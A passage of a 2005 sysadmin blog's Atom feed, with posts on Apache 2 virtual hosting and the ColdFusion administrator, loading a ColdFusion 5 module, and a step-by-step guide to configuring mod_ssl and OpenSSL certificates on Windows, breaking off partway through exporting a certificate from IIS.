your friend!&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113154237226661525?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113154237226661525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113154237226661525' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113154237226661525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113154237226661525'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/11/protect-web-directories-using-htaccess_09.html' title='protect web directories using .htaccess'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113025682252570231</id><published>2005-10-26T00:11:00.000Z</published><updated>2006-03-24T11:23:40.933Z</updated><title type='text'>Apache 2 Virtual hosting, mutiple IP addresses and Coldfusion fuckwittery</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;This is a quick post this time, it turns out that if you are using Virtual Hosts in Apache with multiple IP Addresses on the same  NIC (having two or more sites with SSL), you should &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; have the cfadministrator virtual host under the same IP Address; it causes whatever site is hosted on that IP address to be hosed&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; and have incredibly slow response/load times.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;This has been a pain in my ass for about 2 weeks, I had until just recently not been able to get to the bottom of why two identical sites on the same server etc etc have such completely different behaviours.&lt;br /&gt;&lt;br /&gt;I decided to bite the bullet today and step through the entire site to try and eliminate any differences and get to the bottom of the speed problem.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Needless to say the cfadmin IP address was swiftly changed to a different one and the difference was night and day.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;So to summarise, dont have Cfadmin and a live site on the same IP address if you need more than one IP address on the same NIC. I don't think that this would be a common problem, but if you do come across it and this helps you drop me a comment!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This was intended to be a very short post but... I'll stop now&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Almost home time, not too long left now....&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113025682252570231?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113025682252570231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113025682252570231' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113025682252570231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113025682252570231'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/10/apache-2-virtual-hosting-mutiple-ip.html' title='Apache 2 Virtual hosting, mutiple IP addresses and Coldfusion fuckwittery'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113022818272189039</id><published>2005-10-25T16:53:00.000Z</published><updated>2006-03-24T11:24:06.086Z</updated><title type='text'>Macromedia Coldfusion 5 and Apache 2.0.55</title><content type='html'>&lt;span style="font-family:trebuchet ms;"&gt;It seems that every post so far is about apache in so form or fashion, well it just so happens that is what I spend most of my time doing. Im also trying to compile all of the useful tips, tricks and code snippets that I have found into one place so that I can find them when I need them instead of having to thumb through a slightly "abused" notebook and hoping that its not in the other one that I use from time to time...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;For reasons unbeknownst to me, I have been asked to install ColdFusion 5 on an Apache 2 box.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Normally something as simple as installing some software would not merit a blog post, let alone a set of instructions! However, Macromedia in their infinite wisdom decided to only support Apache 2 with Codfusion MX and newer.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;You would think(hope) that it would just be a matter of copying the required modules from the macromedia site or from and existing MX installation but No, life is never that simple. What you really need to do is go and get the third party module from &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://home.nextron.ch/coldfusion/2.0.43/mod_coldfusion.so"&gt;here&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; (nextron.ch).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Just drop that into your Apache "Modules" directory and add the following lines to your httpd.conf&lt;/span&gt;&lt;br /&gt;&lt;b style="font-family: trebuchet ms;"&gt;&lt;br /&gt;LoadModule coldfusion_module modules/mod_coldfusion.so&lt;br /&gt;AddHandler type-coldfusion cfm dbm&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Once this is done and you have restarted apache just load up your cfadministrator page (localhost/CFIDE/administrator) and you are laughing.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113022818272189039?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113022818272189039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113022818272189039' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113022818272189039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113022818272189039'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/10/macromedia-coldfusion-5-and-apache.html' title='Macromedia Coldfusion 5 and Apache 2.0.55'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113014686158286154</id><published>2005-10-24T17:41:00.000Z</published><updated>2006-03-24T11:24:23.083Z</updated><title type='text'>Apache 2 and modssl</title><content type='html'>&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;A few months ago I did a complete setup of Apache 2.0.54 and the modssl package under Windows 2000 Server. This morning I had to add a renewed certificate so I decided to start my blog and put the guides that I used and edited up online.&lt;br /&gt;&lt;br /&gt;Lets just say its not without its hoops to jump through to get your Apache installation working under Windows!&lt;br /&gt;&lt;br /&gt;There are a few places where you could go wrong  and not realise it and some of the guides arent totally accurate so I decided to collate my own with all the caveats that are associated with it. There is an additional guide featured after this one  for moving a secure cert from IIS 5/6 to Apache 2 with modssl.&lt;br /&gt;Renewing the certificates with Thawte is quite easy as long as you follow their guidelines and don't forget which key goes with which certificate! Its easy to recover from this but Apache gives very few indications what is wrong (no error message on startup and no entries in error log).&lt;br /&gt;You can find which certificate matches which key using the following commands&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:100%;" class="CGO_SOL_TEXT"  &gt;&lt;strong&gt;To view the certificate&lt;/strong&gt; :&lt;br /&gt;openssl x509 -noout -text -in certificate file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;To view the key:&lt;br /&gt;&lt;/strong&gt; openssl rsa -noout -text -in keyfile&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;The exponent and the modulus should match in each, if not then its not the correct pairing.&lt;br /&gt;&lt;br /&gt;N.B. Apache under Windows doesnt support passphrases on the key, if you do manage to miss this instruction and in your haste to follow the on-screen instructions, you can remove the passphrase by using the following command&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:100%;" class="CGO_SOL_TEXT"  &gt; openssl rsa -in file1.key -out file2.key&lt;br /&gt;&lt;br /&gt;where file1.key is the key with passphrase and file2.key is the same key with the encryption removed. You will be asked for the passphrase for file1.key when you run this so if you don't remember what it is you are SOOL.&lt;br /&gt;&lt;br /&gt;Enjoy the guides below, credit is given where credit is due.&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:100%;"  &gt;Apache 2.0.54 with Modssl installation guide&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;, adapted from the guide found on www.thompsonbd.com, kudos for helping me get my own installation setup.&lt;br /&gt;&lt;/span&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;1. Caveats&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;This tutorial assumes that you already have Apache2 installed and working on a Windows server.&lt;br /&gt;You have already copied mod_sll.so from the Apache_2.0.52-Openssl_0.9.7e-Win32 extracted files into your apache installation Modules Directory.&lt;br /&gt;This assumes that you are only using one secure cert on the server, if you require more than one secure cert on the server please see section 6.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;2. Needed Files&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Files that you will need can be downloaded from this website. These are not necessarily the most up-to-date, but they worked for my install so I have included them here. You will need to download both &lt;a href="http://www.thompsonbd.com/tutorials/files/Apache_2.0.52-Openssl_0.9.7e-Win32.zip"&gt;Apache_2.0.52-Openssl_0.9.7e-Win32.zip&lt;/a&gt; and &lt;a href="http://www.thompsonbd.com/tutorials/files/Openssl-0.9.7e-Win32.zip"&gt;Openssl-0.9.7e-Win32.zip&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Unzip both of these files to seperate folders.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;3. Setting Up OpenSSL&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Copy the files &lt;span class="style4"&gt;&lt;i style=""&gt;ssleay32.dll&lt;/i&gt;&lt;/span&gt; and &lt;span class="style4"&gt;&lt;i style=""&gt;libeay32.dll&lt;/i&gt;&lt;/span&gt; from the OpenSSL folder to WINNT\System32. Double check that you make sure you copied the dll's and not the lib's.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;You also need to download &lt;a href="http://www.thompsonbd.com/tutorials/files/openssl.cnf"&gt;openssl.cnf&lt;/a&gt; into the same folder where you unzipped OpenSSL. Windows will remove the .cnf and will make this file look like a dialup icon. Just ignore it. Just make sure you have the file in the right place. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Download &lt;a href="http://www.thompsonbd.com/tutorials/files/ssl.conf"&gt;ssl.conf&lt;/a&gt; and place it in the Apache2/conf directory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;4. Creating a test certificate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Open a command prompt. Navigate to where you unzipped OpenSSL.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="style41" style="font-family:arial;"&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt;openssl req -config openssl.cnf -new -out &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:red;"&gt;my-server&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt;.csr&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;You can replace &lt;b&gt;my-server.csr&lt;/b&gt; with whatever you want aslong as the extention is .csr. When asked for "Common Name (eg, your websites domain name)", give the exact domain name of your web server (e.g. www.my-server.dom). The certificate belongs to this server name and browsers complain if the name doesn't match.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="style41" style="font-family:arial;"&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt;openssl rsa -in privkey.pem -out &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:red;"&gt;my-server&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt;.key&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;This removes the passphrase from the private key. You MUST understand what this means; my-server.key should be only readable by the apache server and the administrator. You should delete the &lt;b&gt;.rnd&lt;/b&gt; file because it contains the entropy information for creating the key and could be used for cryptographic attacks against your private key.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="style41" style="font-family:arial;"&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt;openssl x509 -in &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:red;"&gt;my-server&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:green;"&gt;.csr&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt; -out &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:red;"&gt;my-server&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:green;"&gt;.cert&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt; -req -signkey &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:red;"&gt;my-server&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:green;"&gt;.key&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=";font-size:100%;color:green;"  lang="EN-US" &gt; -days 365&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;This creates a self-signed certificate that you can use until you get a "real" one from a certificate authority. (Which is optional; if you know your users, you can tell them to install the certificate into their browsers.) Note that this certificate expires after one year, you can increase -days 365 if you don't want this. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Create a directory in the Apache folder name &lt;span class="style4"&gt;Apache2/conf/ssl&lt;/span&gt; and move &lt;span class="style4"&gt;my-server.key&lt;/span&gt; and &lt;span class="style4"&gt;my-server.cert&lt;/span&gt; into it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;5. Configuring Apache and mod_ssl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Open the &lt;span class="style4"&gt;httpd.conf&lt;/span&gt; file and locate the LoadModule directives. Add&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="style41" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;LoadModule ssl_module modules/mod_ssl.so&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;After  add&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table  class="MsoNormalTable" border="0" cellpadding="0" style="font-family:arial;"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;SSLMutex default&lt;br /&gt;SSLRandomSeed startup builtin&lt;br /&gt;SSLSessionCache none &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;In the VirtualHost directives add the following below the existing virtual host for the http host&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;table  class="MsoNormalTable" border="0" cellpadding="0" style="font-family:arial;"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;virtualhost&gt;&lt;br /&gt;SSLEngine On&lt;br /&gt;SSLCertificateFile conf/ssl/my-server.cert&lt;br /&gt;SSLCertificateKeyFile conf/ssl/my-server.key&lt;br /&gt;&lt;/virtualhost&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Open the &lt;span class="style4"&gt;ssl.conf&lt;/span&gt; file and set the correct www.my-domain.com and DocumentRoot. You will place the location of the secure material in the " " after DocumentRoot. Change the VirtualHost __default__ to the IP address of the virtual host you are using.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;6. Multiple Secure Certificates on the same server&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Because of limitations in the SSL and HTTPS Specification it is only possible to have one secure cert per IP address, in order to overcome this the NIC that is used to connect to the network must be configured with &lt;i style=""&gt;N&lt;/i&gt; additional IP addresses where &lt;i style=""&gt;N &lt;/i&gt;&lt;span style=""&gt; &lt;/span&gt;is the number of secure certificates that are required. This is accomplished using the following method (Applicable to Windows servers only)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ol  style="margin-top: 0cm;font-family:arial;" start="1" type="a"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Go to the properties      page of the NIC that you are using to connect the server to the      internet/target network&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Select Internet      Protocol (TCP/IP) and click on properties&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Click on the      advanced button&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Then click “Add” in      the IP Addresses section, specify the additional IP address you would like      the NIC to be configured with, the subnet mask will usually remain the      same&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Once this is completed you can continue configuring httpd.conf and ssl.conf for the apache setup.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;SSL Configuration&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Copy the entire virtualhost configuration already present from step 5 and paste it after the closing virtualhost tag () &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;Change the relevant sections as specified in step 5, being careful to change the IP address configured as well&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style="" lang="EN-US"&gt;HTTPD Configuration&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  class="MsoNormal" style="font-family:arial;"&gt;&lt;span lang="EN-US"  style="font-size:100%;"&gt;All that requires modification in this section is to add the new secure virtualhost with the same instructions that you followed in step 5 again being careful to change the IP address. You will also have to add an additional line in the “listen” directives specifying the additional IP addresses and ports(listen 12.34.56.67:80). You don't need the listen 12.34.56.78:443 directive as this is taken care of in the ssl.conf file&lt;br /&gt;It is usually easiest to keep the http and https virtualhosts on the same IP address as to avoid confusion.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;font-size:100%;"  &gt;Moving a certificate from IIS 5/6 to Apache 2&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt; (good for you!)&lt;br /&gt;The majority of this is copied from the Thawte guide, there's is mainly about moving it to a Linux platform so there are a few additional tricks that need doing before&lt;br /&gt;&lt;/span&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b style=""&gt;&lt;span style=""&gt;To Move a Certificate from IIS 6.0 to Apache do the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;Create an MMC Snap-in for Managing Certificates:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;1. Start &gt; run &gt; MMC&lt;br /&gt;2. Go into the Console Tab &gt; 'File' &gt; 'Add/Remove Snap-in'&lt;br /&gt;3. Click on 'Add' &gt; Click on 'Certificates' and click on 'Add'&lt;br /&gt;4. Choose 'Computer Account'&lt;br /&gt;5. Choose 'Local Computer'&lt;br /&gt;6. Close the 'Add Standalone Snap-in' window.&lt;br /&gt;7. Click on 'OK' at the 'Add/Remove Snap-in' window.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt; &lt;strong&gt;Export your certificate and private key .pfx file from IIS6:&lt;/strong&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;1. Open the Certificates (Local Computer) snap-in you added in the last section, navigate to Personal, and then to Certificates&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;2. You will see your Web server certificate denoted by the CN (Common Name) found in the Subject field of the certificate (using Microsoft Internet Explorer, you can easily view the certificate to see the Common Name if you are unsure)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;3. Right-click on the server certificate, select All Tasks, and then click Export&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;4. When the wizard starts, click Next. Choose to export the private key, and then click Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;NOTE: If you export the certificate for use on an IIS Web server, do not select Require Strong Encryption.This option causes a password prompt every time an application attempts to access the private key, and causes IIS to fail.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;5. The file format you will want to choose is the Personal Information Exchange (though you can select from several options). This will create a PFX file. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p  